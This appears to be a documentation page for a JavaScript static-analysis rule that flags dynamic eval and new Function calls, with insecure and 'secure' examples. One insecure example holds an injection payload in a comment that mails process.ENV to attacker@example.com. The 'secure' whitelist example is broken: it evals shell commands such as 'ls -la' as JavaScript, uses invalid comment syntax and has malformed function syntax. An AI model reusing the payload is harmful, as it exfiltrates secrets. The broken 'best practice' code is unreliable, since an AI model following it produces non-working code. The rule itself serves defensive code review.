eval-with-expression¶
Ensure no dynamic eval expression
Any occurence of eval
in a program should be scrutinized due to that it is responsible for taking an arbitry input
string and executing it on the host that where the program is run. This becomes particularly dangerous if there is the possibility
of user input being passed into an eval
function as the parameter. Additionally, the Function
constructor shares the same
danger as eval
. An attacker, if given the ability to get their arbitrary submitted input can effectively do anything on the machine.
Runing eval
or new Function
with an exact string literal is safer as it is immutable. This check determines if a variable is being passed into these functions to raise awareness of a possible attack vector.
Examples¶
Insecure Example
eval(`${fn}()`);
new Function(`${a}`, "b", "return a + b");
// Example 1
let userInput = req.query.param1
eval(userInput)
// Example 2
let userInput = req.query.params1 // ');require("node-mailer").mail("attacker@example.com", JSON.stringify(process.ENV))//'
eval('console.log(' + userInput + ')')
Secure Example
eval("(function (a, b) { return a + b })")(a, b);
new Function("a", "b", "return a + b")(a, b);
// Example 1 - Best Practice (use a whitelist of accepted commands)
safeEval(untrustedUserInput) {
let userDefinedIndex = parseInt(untrustedUserInput)
let allowedCommands = [
'ls -la',
'pwd',
'ls ..'
]
eval(allowedCommands[userDefinedIndex]) #noboost
}
More Information¶
Note: eval
and new Function
is generally used in very unique circumstances, with very unique requirements. Due to the
blast radius of a possible exposure with one of these functions, it may be worth exploring alternatives to exposing these methods that
are run concrete implementations of code vs arbitrary code. You could explore writing santization functions of your use of the eval input, however
this can be tricky. Bottom line -- only use eval
or Function
if you absolutely need to, and you are confident that user input will not be evaluated.